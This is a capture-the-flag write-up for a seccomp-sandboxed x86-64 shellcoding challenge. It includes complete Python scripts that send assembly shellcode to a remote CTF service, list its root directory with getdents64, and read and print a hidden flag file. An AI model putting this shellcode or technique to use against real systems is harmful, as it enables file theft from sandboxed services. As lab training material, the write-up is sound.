pwn4 ls_cat
pwn4 ls_cat
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: directory_enumeration, getdents64_listing, open_read_write_primitive, seccomp_allowlist_abuse, shellcoding
Summary
Task: x86-64 PIE binary reads shellcode and jumps to it, but a seccomp allowlist restricts syscalls to getdents64/open/read/write/close/exit_group (no execve). Solution: shellcode open("/")+getdents64 to discover the unknown flag filename (/s3cr3t_f1l3_w1th_fl0g), then open+read+write it; assembled locally with keystone-engine since host is arm64 macOS.
pwn4 ls_cat — pwn_spbctf
Description
(не)Просто. Прочитай. /(не)flag.
English: "(not)Simple. Read. /(not)flag." — the flag is a file located in /
whose name is NOT literally flag. We must discover its real name and read it.
- Category: Pwn, tier
pwn4("shellcoding"), author Mikhail Kolesov (@crazylazyowl). - Binary:
ls_cat.elf, x86-64 PIE, no stack canary. - Remote:
nc 109.233.56.90 11665(single connection,alarm(5)— must be fast).
Analysis
task_init sets alarm(5) (so one quick connection per attempt) and setvbuf
on stdin/stdout. main (@0x11c5):
-
memset(buf[rbp-0x410], 0, 0x400)— clears a 0x400-byte stack buffer. -
Builds a seccomp allowlist:
seccomp_init(SCMP_ACT_KILL), thenseccomp_rule_add(ctx, SCMP_ACT_ALLOW, NR, 0)for only these syscalls, thenseccomp_load:NR syscall 0xd9 (217) getdents640x00 read0x01 write0x02 open0x03 close0xe7 (231) exit_groupEverything else (notably
execve,openat,stat,mmap) is killed. -
printf(prompt),read(0, buf, 0x400), thencall buf— our up to 0x400 bytes of shellcode (any bytes, plainread) execute directly.
Key insight: the allowlist getdents64 + open + read + write is exactly an
"ls + cat" primitive. No execve means no shell — but we don't need one.
We can list / to discover the flag's filename, then read that file. PIE is
irrelevant: shellcode is position-independent.
Implementation note (host quirk)
The solving host is arm64 macOS, so pwntools asm() fails (no amd64 binutils
as). Assemble x86-64 shellcode locally with keystone-engine
(Ks(KS_ARCH_X86, KS_MODE_64)).
Solution
Step 1 — ls: list /
open("/", O_RDONLY) → getdents64(fd, buf, 0x4000) → write(1, buf, ret).
open("/", O_RDONLY) returns a perfectly usable directory fd for getdents64.
Dump the raw buffer and read filenames by eye (or parse linux_dirent64).
Listing of /:
bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run
sbin srv sys tmp usr var .dockerenv s3cr3t_f1l3_w1th_fl0g task
The flag file (regular file, d_type=8) is /s3cr3t_f1l3_w1th_fl0g — the
"/(не)flag" hint was literal: a file in /, just not named flag.
linux_dirent64 layout for parsing getdents64 output:
struct { u64 d_ino; u64 d_off; u16 d_reclen; u8 d_type; char d_name[]; } —
d_name is at offset 19, walk records by d_reclen.
Step 2 — cat: read the flag
open("/s3cr3t_f1l3_w1th_fl0g", O_RDONLY) → read(fd, buf, 0x200) →
write(1, buf, n) → exit_group. Returns the 40-byte flag.
ls shellcode (exp_ls.py)
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * from keystone import Ks, KS_ARCH_X86, KS_MODE_64 import struct HOST, PORT = '109.233.56.90', 11665 ks = Ks(KS_ARCH_X86, KS_MODE_64) def assemble(src): return bytes(ks.asm(src)[0]) # open("/", O_RDONLY); getdents64(fd, buf, 0x4000); write(1, buf, ret); exit_group sc = ''' xor rax, rax push rax mov byte ptr [rsp], 0x2f /* "/" */ mov rdi, rsp xor rsi, rsi /* O_RDONLY */ xor rdx, rdx mov eax, 2 /* open */ syscall mov rdi, rax /* dir fd */ sub rsp, 0x4000 mov rsi, rsp mov rdx, 0x4000 mov eax, 217 /* getdents64 */ syscall mov rdx, rax mov edi, 1 mov rsi, rsp mov eax, 1 /* write */ syscall xor edi, edi mov eax, 231 /* exit_group */ syscall ''' io = remote(HOST, PORT) io.recv(timeout=2) io.send(assemble(sc)) data = io.recvall(timeout=6) print(hexdump(data)) # parse linux_dirent64 names off = 0 while off + 19 <= len(data): d_ino, d_off, d_reclen = struct.unpack_from('<QQH', data, off) if d_reclen == 0: break name = data[off+19:off+d_reclen].split(b'\x00')[0] print(repr(name), "type=", data[off+18]) off += d_reclen io.close()
cat shellcode (exp_ls_cat.py)
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * from keystone import Ks, KS_ARCH_X86, KS_MODE_64 HOST, PORT = '109.233.56.90', 11665 ks = Ks(KS_ARCH_X86, KS_MODE_64) def assemble(src): return bytes(ks.asm(src)[0]) # Build "/s3cr3t_f1l3_w1th_fl0g\0" on the stack via reversed 8-byte pushes. path = b"/s3cr3t_f1l3_w1th_fl0g\x00" while len(path) % 8 != 0: path += b"\x00" chunks = [path[i:i+8] for i in range(0, len(path), 8)] push_asm = "xor rax, rax\npush rax\n" # null terminator after end for c in reversed(chunks): push_asm += "mov rax, 0x%x\npush rax\n" % u64(c) sc = push_asm + ''' mov rdi, rsp /* path */ xor rsi, rsi /* O_RDONLY */ xor rdx, rdx mov eax, 2 /* open */ syscall mov rdi, rax /* fd */ sub rsp, 0x1000 mov rsi, rsp mov rdx, 0x1000 xor eax, eax /* read */ syscall mov rdx, rax mov edi, 1 mov rsi, rsp mov eax, 1 /* write */ syscall xor edi, edi mov eax, 231 /* exit_group */ syscall ''' io = remote(HOST, PORT) io.recv(timeout=2) io.send(assemble(sc)) print(io.recvall(timeout=6).decode(errors='replace')) io.close()
Running exp_ls_cat.py prints the flag.